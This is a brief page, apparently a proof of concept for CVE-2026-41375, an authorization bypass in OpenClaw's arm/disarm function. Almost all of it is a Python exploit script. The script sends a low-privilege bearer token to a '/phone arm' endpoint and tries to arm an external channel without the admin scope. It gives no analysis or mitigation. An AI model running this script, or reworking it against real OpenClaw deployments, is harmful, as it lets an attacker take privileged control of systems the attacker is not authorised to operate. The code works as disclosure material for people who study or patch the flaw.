CVE-2026-41375 OpenClaw授权绕过漏洞(布防/撤防)

import requests # Target configuration target_url = "http://vulnerable-host:8080" low_privilege_token = "<attacker_low_priv_token>" # Headers mimicking a legitimate low-privilege user request headers = { "Authorization": f"Bearer {low_privilege_token}", "Content-Type": "application/json", "User-Agent": "PoC-Client/1.0" } # The vulnerable endpoint for phone arm # Exploit: Sending a request to arm the channel without 'operator.admin' scope arm_endpoint = f"{target_url}/phone arm" payload = { "channel": "external", "action": "arm" } try: print(f"[*] Attempting to bypass auth on {arm_endpoint}...") response = requests.post(arm_endpoint, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Exploit successful! Phone channel armed without admin privileges.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")